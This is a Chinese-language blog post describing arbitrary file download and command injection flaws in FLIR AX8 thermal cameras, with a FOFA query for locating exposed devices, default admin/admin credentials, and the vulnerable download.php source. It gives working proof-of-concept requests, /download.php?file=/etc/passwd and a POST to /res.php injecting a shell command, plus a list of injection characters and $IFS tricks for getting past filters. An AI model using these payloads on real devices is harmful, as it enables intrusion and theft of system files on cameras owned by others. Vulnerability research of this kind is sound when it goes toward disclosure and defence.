美文网首页
flir任意文件下载与命令注入

flir任意文件下载与命令注入

作者: doinb1517 | 来源:发表于2022-12-13 09:56 被阅读0次

flir任意文件下载与命令注入

简介

官网link:https://www.flir.asia/

1.png

登陆界面,存在弱密码admin/admin

3.png

登陆后

4.png

fofa:app="FLIR-FLIR-AX8"

2.png

漏洞介绍

任意文件下载

POC

GET /download.php?file=/etc/passwd
do.png

看看出问题的download.php

<?php
/**
 * Copyright 2012 Armand Niculescu - MediaDivision.com
 * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
 * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
 * THIS SOFTWARE IS PROVIDED BY THE FREEBSD PROJECT "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FREEBSD PROJECT OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */
// get the file request, throw error if nothing supplied

// hide notices
@ini_set('error_reporting', E_ALL & ~ E_NOTICE);

//- turn off compression on the server
//@apache_setenv('no-gzip', 1);
//@ini_set('zlib.output_compression', 'Off');

if(!isset($_REQUEST['file']) || empty($_REQUEST['file']))
{
    header("HTTP/1.0 400 Bad Request");
    exit;
}

// sanitize the file request, keep just the name and extension
// also, replaces the file location with a preset one ('./myfiles/' in this example)
$file_path  = $_REQUEST['file'];
$file_type = $_REQUEST['type'];
$path_parts = pathinfo($file_path);
$file_name  = $path_parts['basename'];
$file_ext   = $path_parts['extension'];

// allow a file to be streamed instead of sent as an attachment
$is_attachment = isset($_REQUEST['stream']) ? false : true;

// make sure the file exists
if (is_file($file_path))
{
    $file_size  = filesize($file_path);
    $file = @fopen($file_path,"rb");
    if ($file)
    {
        // set the headers, prevent caching
        header("Pragma: public");
        header("Expires: -1");
        header("Cache-Control: public, must-revalidate, post-check=0, pre-check=0");
        header("Content-Disposition: attachment; filename=\"$file_name\"");

        // set appropriate headers for attachment or streamed file
        if ($is_attachment) {
                header("Content-Disposition: attachment; filename=\"$file_name\"");
        }
        else {
                header('Content-Disposition: inline;');
                header('Content-Transfer-Encoding: binary');
        }

        // set the mime type based on extension, add yours if needed.
        $ctype_default = "application/octet-stream";
        $content_types = array(
                "exe" => "application/octet-stream",
                "zip" => "application/zip",
                "mp3" => "audio/mpeg",
                "mpg" => "video/mpeg",
                "avi" => "video/x-msvideo",
        );
        $ctype = isset($content_types[$file_ext]) ? $content_types[$file_ext] : $ctype_default;
        header("Content-Type: " . $ctype);

        //check if http_range is sent by browser (or download manager)
        if(isset($_SERVER['HTTP_RANGE']))
        {
            list($size_unit, $range_orig) = explode('=', $_SERVER['HTTP_RANGE'], 2);
            if ($size_unit == 'bytes')
            {
                //multiple ranges could be specified at the same time, but for simplicity only serve the first range
                //http://tools.ietf.org/id/draft-ietf-http-range-retrieval-00.txt
                list($range, $extra_ranges) = explode(',', $range_orig, 2);
            }
            else
            {
                $range = '';
                header('HTTP/1.1 416 Requested Range Not Satisfiable');
                exit;
            }
        }
        else
        {
            $range = '';
        }

        //figure out download piece from range (if set)
        list($seek_start, $seek_end) = explode('-', $range, 2);

        ob_clean();
        
        //set start and end based on range (if set), else set defaults
        //also check for invalid ranges.
        $seek_end   = (empty($seek_end)) ? ($file_size - 1) : min(abs(intval($seek_end)),($file_size - 1));
        $seek_start = (empty($seek_start) || $seek_end < abs(intval($seek_start))) ? 0 : max(abs(intval($seek_start)),0);
     
        //Only send partial content header if downloading a piece of the file (IE workaround)
        if ($seek_start > 0 || $seek_end < ($file_size - 1))
        {
            header('HTTP/1.1 206 Partial Content');
            header('Content-Range: bytes '.$seek_start.'-'.$seek_end.'/'.$file_size);
            header('Content-Length: '.($seek_end - $seek_start + 1));
        }
        else
          header("Content-Length: $file_size");

        header('Accept-Ranges: bytes');
    
        set_time_limit(0);
        fseek($file, $seek_start);
        
        while(!feof($file)) 
        {
            print(@fread($file, 1024*8));
            ob_flush();
            flush();
            if (connection_status()!=0) 
            {
                @fclose($file);
                exit;
            }           
        }
        
        // file save was a success
        @fclose($file);
        exit;
    }
    else 
    {
        // file couldn't be opened
        header("HTTP/1.0 500 Internal Server Error");
        exit;
    }
}
else
{
    // file does not exist
    header("HTTP/1.0 404 Not Found");
    exit;
}
?>

命令注入

POC

POST /res.php HTTP/1.1
Host: {{}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 43

action=node&resource=;expr%201000%20-%20700
5.png

尝试下其他可以注入的字符

|
``
%0A
*
/bin/*
$(command)
空格与$IFS ${IFS}替换
8.png 6.png 7.png

直接使用*似乎也很有意思,可以证明存在命令注入

9.png

使用/bin/*可以爆破出/bin目录下的文件

10.png
$(command)
11.png
空格与$IFS ${IFS}替换
12.png 13.png

相关文章

  • FLIR-AX8 任意文件下载

    FLIR-AX8 任意文件下载 一、漏洞描述 FLIR-AX8 download.php存在任意文件下载漏洞,直接...

  • [漏洞复现]phpcms9.6.0任意下载漏洞

    任意文件下载漏洞和9.6.0的wap模块sql注入在同一个文件触发点在download函数phpcms/modul...

  • Vulnhub靶机:AI-Web-2.0

    标签:文件读取、爆破、命令注入、敏感文件泄露、lxd提权 0x00 环境准备 下载地址:https://www.v...

  • webshell实验

    1完成任意文件下载实验并载图 在后面接../../../../文件便能下载任意你想需要文件 2完成任意文件上传客户...

  • java web安全小习惯

    在java web编程中,要注意一些安全问题,sql注入、任意文件上传、文件下载漏洞、数据库密码泄露等,可以多参考...

  • 任意文件查看与下载漏洞

    漏洞介绍 利用条件 漏洞危害 任意文件读取 代码形式可如下几种: 任意文件下载 直接下载: 用header()下载...

  • flutter在Mac上配置遇到的问题

    一、终端在任意文件夹中flutter的命令无效 此时需要配置全局命令,步骤如下: 如此就完成了配置。 二、下载fl...

  • 任意文件下载

    漏洞描述:目录遍历(任意文件下载)漏洞不同于网站目录浏览,此漏洞不仅仅可遍历系统下web中的文件,而且可以浏览或者...

  • 任意文件下载

    任意文件下载漏洞的成因: 一些网站的业务需求,提供的有文件下载的功能,这个时候考虑到代码的灵活性开发者会单独写一个...

  • Ubuntu(Linux)环境下配置java环境

    一、首先去官网下载jdk 二、自己把下载的jdk上传到服务器任意文件夹内并解压 解压命令: tar -zxvf j...

网友评论

      本文标题:flir任意文件下载与命令注入

      本文链接:https://www.haomeiwen.com/subject/palhqdtx.html